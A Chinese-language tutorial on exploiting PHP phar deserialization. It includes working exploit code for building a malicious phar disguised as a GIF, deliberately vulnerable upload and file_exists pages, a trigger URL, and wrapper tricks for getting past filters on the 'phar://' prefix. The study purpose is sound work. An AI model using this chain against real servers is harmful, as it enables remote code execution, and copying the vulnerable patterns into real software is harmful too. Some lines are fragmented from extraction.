Phar就是php的压缩文档 利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。 一般来说,文件操作都是可以触发phar反序列化的。
file_exists()
,fopen()
,file_get_contents()
,file()
等文件操作的函数
__destruct()
,_wa keup()
:
、/
、phar
字符未被过滤
phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only),以下是对详细的介绍:
stub
格式为 xxx;<?php xxx; __HALT_COMPILER();?>
前面任意,但是一定要以__HALT_COMPILER();?>
结尾,否则php无法识别这是一个phar。
Manifest
压缩文件的属性等信息,以序列化存储;
phar文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data序列化信息也在这一部分中。是漏洞利用的关键点。
contents
被压缩的文件,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
signature
签名,放在文件末尾
部分文件函数 通过phar://
伪协议解析phar文件时都会使meta-data反序列化
受影响的函数有:
fileatime | file_exists | file_get_contents | file_put_contents |
---|---|---|---|
file | filegroup | fopen | fileinode |
fileowner | fileperms | is_dir | is_file |
is_link | is_executable | is_readable | is_writeable |
is_wirtble | parse_ini_file | copy | unlink |
stat | readfile | info_file |
先生成phar文件
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //生成的phar文件,调用后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data = "da1sy";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
$o
的数据已经被序列化存储到phar.phar中了 <?php
class TestObject{
function __destruct()
{
echo $this -> data;
}
}
include('phar://phar.phar');
?>
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
phar反序列化
</head>
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
<?php
$tmp_file_location='';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
$tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
?>
从代码上可以看出是让上传一张gif的格式的文件,这点我们只要在phar的文件头加上GIF89a 即可绕过。
然后就是upload_un.php里的内容,因为file_exists
函数会自动为phar文件进行反序列化,所以便会触发__destruct
魔法函数,进而造成命令执行
使用下面代码先生成phar文件
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
文件头记得要以GIF89a开头,之后后缀改为gif以绕过对文件类型的限制
最后访问upload_un.php页面,并对filename
传参如下:
/file_un.php?filename=phar://upload_file/phar.gif
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')
学习链接